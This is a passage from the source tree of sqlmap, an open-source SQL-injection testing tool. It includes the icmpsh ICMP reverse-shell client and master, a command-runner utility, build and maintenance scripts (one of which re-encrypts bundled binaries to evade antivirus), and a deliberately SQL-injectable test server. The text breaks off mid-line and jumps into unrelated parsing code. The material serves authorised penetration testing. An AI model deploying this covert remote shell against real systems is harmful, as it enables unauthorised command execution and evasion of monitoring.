(argv[opt][0] == '-') { switch(argv[opt][1]) { case 'h': usage(*argv); return 0; case 't': if (opt + 1 < argc) { target = argv[opt + 1]; } break; case 'd': if (opt + 1 < argc) { delay = atol(argv[opt + 1]); } break; case 'o': if (opt + 1 < argc) { timeout = atol(argv[opt + 1]); } break; case 'r': status = STATUS_SINGLE; break; case 'b': if (opt + 1 < argc) { max_blanks = atol(argv[opt + 1]); } break; case 's': if (opt + 1 < argc) { max_data_size = atol(argv[opt + 1]); } break; default: printf("unrecognized option -%c\n", argv[1][0]); usage(*argv); return -1; } } } if (!target) { printf("you need to specify a host with -t. Try -h for more options\n"); return -1; } ip_addr = to_ip(target); // don't spawn a shell if we're only sending a single test request if (status != STATUS_SINGLE) { status = spawn_shell(&pi, &pipe_read, &pipe_write); } // create icmp channel create_icmp_channel(&icmp_chan); if (icmp_chan == INVALID_HANDLE_VALUE) { printf("unable to create ICMP file: %u\n", GetLastError()); return -1; } // allocate transfer buffers in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); if (!in_buf || !out_buf) { printf("failed to allocate memory for transfer buffers\n"); return -1; } memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); // sending/receiving loop blanks = 0; do { switch(status) { case STATUS_SINGLE: // reply with a static string out_buf_size = sprintf(out_buf, "Test1234\n"); break; case STATUS_PROCESS_NOT_CREATED: // reply with error message out_buf_size = sprintf(out_buf, "Process was not created\n"); break; default: // read data from process via pipe out_buf_size = 0; if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) { if (out_buf_size > 0) { out_buf_size = 0; rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL); if (!rs && GetLastError() != ERROR_IO_PENDING) { out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError()); } } } else { out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError()); } break; } // send request/receive response if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) { if (status == STATUS_OK) { // write data from response back into pipe WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0); } blanks = 0; } else { // no reply received or error occured blanks++; } // wait between requests Sleep(delay); } while (status == STATUS_OK && blanks < max_blanks); if (status == STATUS_OK) { TerminateProcess(pi.hProcess, 0); } return 0; } ================================================ FILE: extra/icmpsh/icmpsh_m.py ================================================ #!/usr/bin/env python # # icmpsh - simple icmp command shell (port of icmpsh-m.pl written in # Perl by Nico Leidecker ) # # Copyright (c) 2010, Bernardo Damele A. G. # # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os import select import socket import sys def setNonBlocking(fd): """ Make a file descriptor non-blocking """ import fcntl flags = fcntl.fcntl(fd, fcntl.F_GETFL) flags = flags | os.O_NONBLOCK fcntl.fcntl(fd, fcntl.F_SETFL, flags) def main(src, dst): if sys.platform == "nt": sys.stderr.write('icmpsh master can only run on Posix systems\n') sys.exit(255) try: from impacket import ImpactDecoder from impacket import ImpactPacket except ImportError: sys.stderr.write('You need to install Python Impacket library first\n') sys.exit(255) # Make standard input a non-blocking file stdin_fd = sys.stdin.fileno() setNonBlocking(stdin_fd) # Open one socket for ICMP protocol # A special option is set on the socket so that IP headers are included # with the returned data try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) except socket.error: sys.stderr.write('You need to run icmpsh master with administrator privileges\n') sys.exit(1) sock.setblocking(0) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # Create a new IP packet and set its source and destination addresses ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) # Create a new ICMP packet of type ECHO REPLY icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHOREPLY) # Instantiate an IP packets decoder decoder = ImpactDecoder.IPDecoder() while True: try: cmd = '' # Wait for incoming replies if sock in select.select([sock], [], [])[0]: buff = sock.recv(4096) if 0 == len(buff): # Socket remotely closed sock.close() sys.exit(0) # Packet received; decode and display it ippacket = decoder.decode(buff) icmppacket = ippacket.child() # If the packet matches, report it to the user if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): # Get identifier and sequence number ident = icmppacket.get_icmp_id() seq_id = icmppacket.get_icmp_seq() data = icmppacket.get_data_as_string() if len(data) > 0: sys.stdout.write(data) # Parse command from standard input try: cmd = sys.stdin.readline() except: pass if cmd == 'exit\n': return # Set sequence number and identifier icmp.set_icmp_id(ident) icmp.set_icmp_seq(seq_id) # Include the command as data inside the ICMP packet icmp.contains(ImpactPacket.Data(cmd)) # Calculate its checksum icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # Have the IP packet contain the ICMP packet (along with its payload) ip.contains(icmp) try: # Send it to the target host sock.sendto(ip.get_packet(), (dst, 0)) except socket.error as ex: sys.stderr.write("'%s'\n" % ex) sys.stderr.flush() except: break if __name__ == '__main__': if len(sys.argv) < 3: msg = 'missing mandatory options. Execute as root:\n' msg += './icmpsh-m.py \n' sys.stderr.write(msg) sys.exit(1) main(sys.argv[1], sys.argv[2]) ================================================ FILE: extra/runcmd/README.txt ================================================ runcmd.exe is an auxiliary program that can be used for running command prompt commands skipping standard "cmd /c" way. It is licensed under the terms of the GNU Lesser General Public License. ================================================ FILE: extra/runcmd/src/README.txt ================================================ Compile only the Release version because the Runtime library option (Project Properties -> Configuration Properties -> C/C++ -> Code Generation) is set to "Multi-threaded (/MT)", which statically links everything into executable and doesn't compile Debug version at all. ================================================ FILE: extra/runcmd/src/runcmd/runcmd.cpp ================================================ /* runcmd - a program for running command prompt commands Copyright (C) 2010 Miroslav Stampar email: miroslav.stampar@gmail.com This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include #include #include #include "stdafx.h" #include using namespace std; int main(int argc, char* argv[]) { FILE *fp; string cmd; for( int count = 1; count < argc; count++ ) cmd += " " + string(argv[count]); fp = _popen(cmd.c_str(), "r"); if (fp != NULL) { char buffer[BUFSIZ]; while (fgets(buffer, sizeof buffer, fp) != NULL) fputs(buffer, stdout); } return 0; } ================================================ FILE: extra/runcmd/src/runcmd/runcmd.vcproj ================================================ ================================================ FILE: extra/runcmd/src/runcmd/stdafx.cpp ================================================ // stdafx.cpp : source file that includes just the standard includes // runcmd.pch will be the pre-compiled header // stdafx.obj will contain the pre-compiled type information #include "stdafx.h" // TODO: reference any additional headers you need in STDAFX.H // and not in this file ================================================ FILE: extra/runcmd/src/runcmd/stdafx.h ================================================ // stdafx.h : include file for standard system include files, // or project specific include files that are used frequently, but // are changed infrequently // #pragma once #ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later. #define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows. #endif #include #include // TODO: reference additional headers your program requires here ================================================ FILE: extra/runcmd/src/runcmd.sln ================================================ Microsoft Visual Studio Solution File, Format Version 9.00 # Visual Studio 2005 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Win32 = Debug|Win32 Release|Win32 = Release|Win32 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32 {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32 {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32 {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection EndGlobal ================================================ FILE: extra/shellcodeexec/README.txt ================================================ Binary files in this folder are data files used by sqlmap on the target system, but not executed on the system running sqlmap. They are licensed under the terms of the GNU Lesser General Public License and their source code is available on https://github.com/inquisb/shellcodeexec. ================================================ FILE: extra/shutils/autocompletion.sh ================================================ #/usr/bin/env bash # source ./extra/shutils/autocompletion.sh DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" WORDLIST=`python "$DIR/../../sqlmap.py" -hh | grep -Eo '\s\--?\w[^ =,]*' | grep -vF '..' | paste -sd "" -` complete -W "$WORDLIST" sqlmap complete -W "$WORDLIST" ./sqlmap.py ================================================ FILE: extra/shutils/blanks.sh ================================================ #!/bin/bash # Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Removes trailing spaces from blank lines inside project files find . -type f -iname '*.py' -exec sed -i 's/^[ \t]*$//' {} \; ================================================ FILE: extra/shutils/drei.sh ================================================ #!/bin/bash # Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Stress test against Python3(.14) for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.14 -m compileall $i | sed 's/Compiling/Checking/g'; done source `dirname "$0"`"/junk.sh" ================================================ FILE: extra/shutils/duplicates.py ================================================ #!/usr/bin/env python # Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Removes duplicate entries in wordlist like files from __future__ import print_function import sys if __name__ == "__main__": if len(sys.argv) > 1: items = list() with open(sys.argv[1], 'r') as f: for item in f: item = item.strip() try: str.encode(item) if item in items: if item: print(item) else: items.append(item) except: pass with open(sys.argv[1], 'w+') as f: f.writelines("\n".join(items)) ================================================ FILE: extra/shutils/junk.sh ================================================ #!/bin/bash # Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null find . -name "*.pyc" -exec rm -f {} \; &>/dev/null ================================================ FILE: extra/shutils/newlines.py ================================================ #! /usr/bin/env python from __future__ import print_function import os import sys def check(filepath): if filepath.endswith(".py"): content = open(filepath, "rb").read() pattern = "\n\n\n".encode("ascii") if pattern in content: index = content.find(pattern) print(filepath, repr(content[index - 30:index + 30])) if __name__ == "__main__": try: BASE_DIRECTORY = sys.argv[1] except IndexError: print("no directory specified, defaulting to current working directory") BASE_DIRECTORY = os.getcwd() print("looking for *.py scripts in subdirectories of '%s'" % BASE_DIRECTORY) for root, dirs, files in os.walk(BASE_DIRECTORY): if any(_ in root for _ in ("extra", "thirdparty")): continue for name in files: filepath = os.path.join(root, name) check(filepath) ================================================ FILE: extra/shutils/postcommit-hook.sh ================================================ #!/bin/bash : ' cat > .git/hooks/post-commit << EOF #!/bin/bash source ./extra/shutils/postcommit-hook.sh EOF chmod +x .git/hooks/post-commit ' SETTINGS="../../lib/core/settings.py" PYPI="../../extra/shutils/pypi.sh" declare -x SCRIPTPATH="${0}" FULLPATH=${SCRIPTPATH%/*}/$SETTINGS if [ -f $FULLPATH ] then LINE=$(grep -o ${FULLPATH} -e 'VERSION = "[0-9.]*"') declare -a LINE NEW_TAG=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); print '.'.join(_[:-1]) if len(_) == 4 and _[-1] == '0' else ''" "$LINE") if [ -n "$NEW_TAG" ] then #git commit -am "Automatic monthly tagging" echo "Creating new tag ${NEW_TAG}" git tag $NEW_TAG git push origin $NEW_TAG echo "Going to push PyPI package" /bin/bash ${SCRIPTPATH%/*}/$PYPI fi fi ================================================ FILE: extra/shutils/precommit-hook.sh ================================================ #!/bin/bash : ' cat > .git/hooks/pre-commit << EOF #!/bin/bash source ./extra/shutils/precommit-hook.sh EOF chmod +x .git/hooks/pre-commit ' PROJECT="../../" SETTINGS="../../lib/core/settings.py" DIGEST="../../data/txt/sha256sums.txt" declare -x SCRIPTPATH="${0}" PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS DIGEST_FULLPATH=${SCRIPTPATH%/*}/$DIGEST git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 if [ -f $SETTINGS_FULLPATH ] then LINE=$(grep -o ${SETTINGS_FULLPATH} -e '^VERSION = "[0-9.]*"') declare -a LINE INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") if [ -n "$INCREMENTED" ] then sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH echo "Updated ${INCREMENTED} in ${SETTINGS_FULLPATH}" else echo "Something went wrong in VERSION increment" exit 1 fi git add "$SETTINGS_FULLPATH" fi cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv '^\.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd - git add "$DIGEST_FULLPATH" ================================================ FILE: extra/shutils/pycodestyle.sh ================================================ #!/bin/bash # Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pycodestyle --ignore=E501,E302,E305,E722,E402 '{}' \; ================================================ FILE: extra/shutils/pydiatra.sh ================================================ #!/bin/bash # Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Runs py3diatra on all python files (prerequisite: pip install pydiatra) find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py3diatra '{}' \; | grep -v bare-except ================================================ FILE: extra/shutils/pyflakes.sh ================================================ #!/bin/bash # Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes3 '{}' \; | grep -v "redefines '_'" ================================================ FILE: extra/shutils/pypi.sh ================================================ #!/bin/bash set -euo pipefail IFS=$'\n\t' if [ ! -f ~/.pypirc ]; then echo "File ~/.pypirc is missing" exit 1 fi declare -x SCRIPTPATH="${0}" SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py" VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3) TYPE=pip TMP_DIR="$(mktemp -d -t pypi.XXXXXXXX)" cleanup() { rm -rf -- "${TMP_DIR:?}"; } trap cleanup EXIT cd "$TMP_DIR" cat > "$TMP_DIR/setup.py" << EOF #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from setuptools import setup, find_packages setup( name='sqlmap', version='$VERSION', description='Automatic SQL injection and database takeover tool', long_description=open('README.rst').read(), long_description_content_type='text/x-rst', author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar', author_email='bernardo@sqlmap.org, miroslav@sqlmap.org', url='https://sqlmap.org', project_urls={ 'Documentation': 'https://github.com/sqlmapproject/sqlmap/wiki', 'Source': 'https://github.com/sqlmapproject/sqlmap/', 'Tracker': 'https://github.com/sqlmapproject/sqlmap/issues', }, download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip', license='GNU General Public License v2 (GPLv2)', packages=['sqlmap'], package_dir={'sqlmap':'sqlmap'}, include_package_data=True, zip_safe=False, # https://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ 'Development Status :: 5 - Production/Stable', 'License :: OSI Approved :: GNU General Public License v2 (GPLv2)', 'Natural Language :: English', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Environment :: Console', 'Topic :: Database', 'Topic :: Security', ], entry_points={ 'console_scripts': [ 'sqlmap = sqlmap.sqlmap:main', ], }, ) EOF wget "https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip" -O sqlmap.zip unzip sqlmap.zip rm sqlmap.zip mv "sqlmap-$VERSION" sqlmap cat > sqlmap/__init__.py << EOF #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import sys sys.dont_write_bytecode = True sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) EOF cat > README.rst << "EOF" sqlmap ====== |Python 2.7|3.x| |License| |X| sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. Screenshots ----------- .. figure:: https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png :alt: Screenshot You can visit the `collection of screenshots `__ demonstrating some of features on the wiki. Installation ------------ You can use pip to install and/or upgrade the sqlmap to latest (monthly) tagged version with: :: pip install --upgrade sqlmap Alternatively, you can download the latest tarball by clicking `here `__ or latest zipball by clicking `here `__. If you prefer fetching daily updates, you can download sqlmap by cloning the `Git `__ repository: :: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap works out of the box with `Python `__ version **2.7** and **3.x** on any platform. Usage ----- To get a list of basic options and switches use: :: sqlmap -h To get a list of all options and switches use: :: sqlmap -hh You can find a sample run `here `__. To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the `user's manual `__. Links ----- - Homepage: https://sqlmap.org - Download: `.tar.gz `__ or `.zip `__ - Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom - Issue tracker: https://github.com/sqlmapproject/sqlmap/issues - User's manual: https://github.com/sqlmapproject/sqlmap/wiki - Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ - X: https://x.com/sqlmap - Demos: http://www.youtube.com/user/inquisb/videos - Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots .. |Python 2.7|3.x| image:: https://img.shields.io/badge/python-2.7|3.x-yellow.svg :target: https://www.python.org/ .. |License| image:: https://img.shields.io/badge/license-GPLv2-red.svg :target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE .. |X| image:: https://img.shields.io/badge/x-@sqlmap-blue.svg :target: https://x.com/sqlmap .. pandoc --from=markdown --to=rst --output=README.rst sqlmap/README.md .. http://rst.ninjs.org/ EOF sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py : > MANIFEST.in while IFS= read -r -d '' file; do case "$file" in *.git|*.yml) continue ;; esac echo "include $file" >> MANIFEST.in done < <(find sqlmap -type f -print0) python setup.py sdist bdist_wheel twine check dist/* twine upload --config-file=~/.pypirc dist/* rm -rf "$TMP_DIR" ================================================ FILE: extra/shutils/recloak.sh ================================================ #!/bin/bash # NOTE: this script is for dev usage after AV something something DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P) cd $DIR/../.. for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done cd $DIR/../cloak sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py cd $DIR/../.. for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done git clean -f > /dev/null ================================================ FILE: extra/shutils/strip.sh ================================================ #!/bin/bash # References: http://www.thegeekstuff.com/2012/09/strip-command-examples/ # http://www.muppetlabs.com/~breadbox/software/elfkickers.html # https://ptspts.blogspot.hr/2013/12/how-to-make-smaller-c-and-c-binaries.html # https://github.com/BR903/ELFkickers/tree/master/sstrip # https://www.ubuntuupdates.org/package/core/cosmic/universe/updates/postgresql-server-dev-10 # For example: # python ../../../../../extra/cloak/cloak.py -d -i lib_postgresqludf_sys.so_ # ../../../../../extra/shutils/strip.sh lib_postgresqludf_sys.so # python ../../../../../extra/cloak/cloak.py -i lib_postgresqludf_sys.so # rm lib_postgresqludf_sys.so strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag $* sstrip $* ================================================ FILE: extra/vulnserver/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ================================================ FILE: extra/vulnserver/vulnserver.py ================================================ #!/usr/bin/env python """ vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes) Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import base64 import json import random import re import sqlite3 import string import sys import threading import traceback PY3 = sys.version_info >= (3, 0) UNICODE_ENCODING = "utf-8" DEBUG = False if PY3: from http.client import INTERNAL_SERVER_ERROR from http.client import NOT_FOUND from http.client import OK from http.server import BaseHTTPRequestHandler from http.server import HTTPServer from socketserver import ThreadingMixIn from urllib.parse import parse_qs from urllib.parse import unquote_plus else: from BaseHTTPServer import BaseHTTPRequestHandler from BaseHTTPServer import HTTPServer from httplib import INTERNAL_SERVER_ERROR from httplib import NOT_FOUND from httplib import OK from SocketServer import ThreadingMixIn from urlparse import parse_qs from urllib import unquote_plus SCHEMA = """ CREATE TABLE users ( id INTEGER, name TEXT, surname TEXT, PRIMARY KEY (id) ); INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset'); INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny'); INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming'); INSERT INTO users (id, name, surname) VALUES (4, NULL, 'nameisnull'); INSERT INTO users (id, name, surname) VALUES (5, 'mark', 'lewis'); INSERT INTO users (id, name, surname) VALUES (6, 'ada', 'lovelace'); INSERT INTO users (id, name, surname) VALUES (7, 'grace', 'hopper'); INSERT INTO users (id, name, surname) VALUES (8, 'alan', 'turing'); INSERT INTO users (id, name, surname) VALUES (9, 'margaret','hamilton'); INSERT INTO users (id, name, surname) VALUES (10, 'donald', 'knuth'); INSERT INTO users (id, name, surname) VALUES (11, 'tim', 'bernerslee'); INSERT INTO users (id, name, surname) VALUES (12, 'linus', 'torvalds'); INSERT INTO users (id, name, surname) VALUES (13, 'ken', 'thompson'); INSERT INTO users (id, name, surname) VALUES (14, 'dennis', 'ritchie'); INSERT INTO users (id, name, surname) VALUES (15, 'barbara', 'liskov'); INSERT INTO users (id, name, surname) VALUES (16, 'edsger', 'dijkstra'); INSERT INTO users (id, name, surname) VALUES (17, 'john', 'mccarthy'); INSERT INTO users (id, name, surname) VALUES (18, 'leslie', 'lamport'); INSERT INTO users (id, name, surname) VALUES (19, 'niklaus', 'wirth'); INSERT INTO users (id, name, surname) VALUES (20, 'bjarne', 'stroustrup'); INSERT INTO users (id, name, surname) VALUES (21, 'guido', 'vanrossum'); INSERT INTO users (id, name, surname) VALUES (22, 'brendan', 'eich'); INSERT INTO users (id, name, surname) VALUES (23, 'james', 'gosling'); INSERT INTO users (id, name, surname) VALUES (24, 'andrew', 'tanenbaum'); INSERT INTO users (id, name, surname) VALUES (25, 'yukihiro','matsumoto'); INSERT INTO users (id, name, surname) VALUES (26, 'radia', 'perlman'); INSERT INTO users (id, name, surname) VALUES (27, 'katherine','johnson'); INSERT INTO users (id, name, surname) VALUES (28, 'hady', 'lamarr'); INSERT INTO users (id, name, surname) VALUES (29, 'frank', 'miller'); INSERT INTO users (id, name, surname) VALUES (30, 'john', 'steward'); CREATE TABLE creds ( user_id INTEGER, password_hash TEXT, FOREIGN KEY (user_id) REFERENCES users(id) ); INSERT INTO creds (user_id, password_hash) VALUES (1, 'db3a16990a0008a3b04707fdef6584a0'); INSERT INTO creds (user_id, password_hash) VALUES (2, '4db967ce67b15e7fb84c266a76684729'); INSERT INTO creds (user_id, password_hash) VALUES (3, 'f5a2950eaa10f9e99896800eacbe8275'); INSERT INTO creds (user_id, password_hash) VALUES (4, NULL); INSERT INTO creds (user_id, password_hash) VALUES (5, '179ad45c6ce2cb97cf1029e212046e81'); INSERT INTO creds (user_id, password_hash) VALUES (6, '0f1e2d3c4b5a69788796a5b4c3d2e1f0'); INSERT INTO creds (user_id, password_hash) VALUES (7, 'a1b2c3d4e5f60718293a4b5c6d7e8f90'); INSERT INTO creds (user_id, password_hash) VALUES (8, '1a2b3c4d5e6f708192a3b4c5d6e7f809'); INSERT INTO creds (user_id, password_hash) VALUES (9, '9f8e7d6c5b4a3928170605f4e3d2c1b0'); INSERT INTO creds (user_id, password_hash) VALUES (10, '3c2d1e0f9a8b7c6d5e4f30291807f6e5'); INSERT INTO creds (user_id, password_hash) VALUES (11, 'b0c1d2e3f405162738495a6b7c8d9eaf'); INSERT INTO creds (user_id, password_hash) VALUES (12, '6e5d4c3b2a190807f6e5d4c3b2a1908f'); INSERT INTO creds (user_id, password_hash) VALUES (13, '11223344556677889900aabbccddeeff'); INSERT INTO creds (user_id, password_hash) VALUES (14, 'ffeeddccbbaa00998877665544332211'); INSERT INTO creds (user_id, password_hash) VALUES (15, '1234567890abcdef1234567890abcdef'); INSERT INTO creds (user_id, password_hash) VALUES (16, 'abcdef1234567890abcdef1234567890'); INSERT INTO creds (user_id, password_hash) VALUES (17, '0a1b2c3d4e5f60718a9b0c1d2e3f4051'); INSERT INTO creds (user_id, password_hash) VALUES (18, '51f04e3d2c1b0a9871605f4e3d2c1b0a'); INSERT INTO creds (user_id, password_hash) VALUES (19, '89abcdef0123456789abcdef01234567'); INSERT INTO creds (user_id, password_hash) VALUES (20, '76543210fedcba9876543210fedcba98'); INSERT INTO creds (user_id, password_hash) VALUES (21, '13579bdf2468ace013579bdf2468ace0'); INSERT INTO creds (user_id, password_hash) VALUES (22, '02468ace13579bdf02468ace13579bdf'); INSERT INTO creds (user_id, password_hash) VALUES (23, 'deadbeefdeadbeefdeadbeefdeadbeef'); INSERT INTO creds (user_id, password_hash) VALUES (24, 'cafebabecafebabecafebabecafebabe'); INSERT INTO creds (user_id, password_hash) VALUES (25, '00112233445566778899aabbccddeeff'); INSERT INTO creds (user_id, password_hash) VALUES (26, 'f0e1d2c3b4a5968778695a4b3c2d1e0f'); INSERT INTO creds (user_id, password_hash) VALUES (27, '7f6e5d4c3b2a190807f6e5d4c3b2a190'); INSERT INTO creds (user_id, password_hash) VALUES (28, '908f7e6d5c4b3a291807f6e5d4c3b2a1'); INSERT INTO creds (user_id, password_hash) VALUES (29, '3049b791fa83e2f42f37bae18634b92d'); INSERT INTO creds (user_id, password_hash) VALUES (30, 'd59a348f90d757c7da30418773424b5e'); """ LISTEN_ADDRESS = "localhost" LISTEN_PORT = 8440 _conn = None _cursor = None _lock = None _server = None _alive = False _csrf_token = None def init(quiet=False): global _conn global _cursor global _lock global _csrf_token _csrf_token = "".join(random.sample(string.ascii_letters + string.digits, 20)) _conn = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False) _cursor = _conn.cursor() _lock = threading.Lock() _cursor.executescript(SCHEMA) if quiet: global print def _(*args, **kwargs): pass print = _ class ThreadingServer(ThreadingMixIn, HTTPServer): def finish_request(self, *args, **kwargs): try: HTTPServer.finish_request(self, *args, **kwargs) except Exception: if DEBUG: traceback.print_exc() class ReqHandler(BaseHTTPRequestHandler): def do_REQUEST(self): path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") params = {} if query: params.update(parse_qs(query)) if "||%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page) retVal = re.sub(r"%s{2,}" % split, split, retVal) retVal = htmlUnescape(retVal.strip().strip(split)) return retVal def getPageWordSet(page): """ Returns word set used in page content >>> sorted(getPageWordSet(u'foobartest')) == [u'foobar', u'test'] True """ retVal = set() # only if the page's charset has been successfully identified if isinstance(page, six.string_types): retVal = set(_.group(0) for _ in re.finditer(r"\w+", getFilteredPageContent(page))) return retVal def showStaticWords(firstPage, secondPage, minLength=3): """ Prints words appearing in two different response pages >>> showStaticWords("this is a test", "this is another test") ['this'] """ infoMsg = "finding static words in longest matching part of dynamic page content" logger.info(infoMsg) firstPage = getFilteredPageContent(firstPage) secondPage = getFilteredPageContent(secondPage) infoMsg = "static words: " if firstPage and secondPage: match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage)) commonText = firstPage[match[0]:match[0] + match[2]] commonWords = getPageWordSet(commonText) else: commonWords = None if commonWords: commonWords = [_ for _ in commonWords if 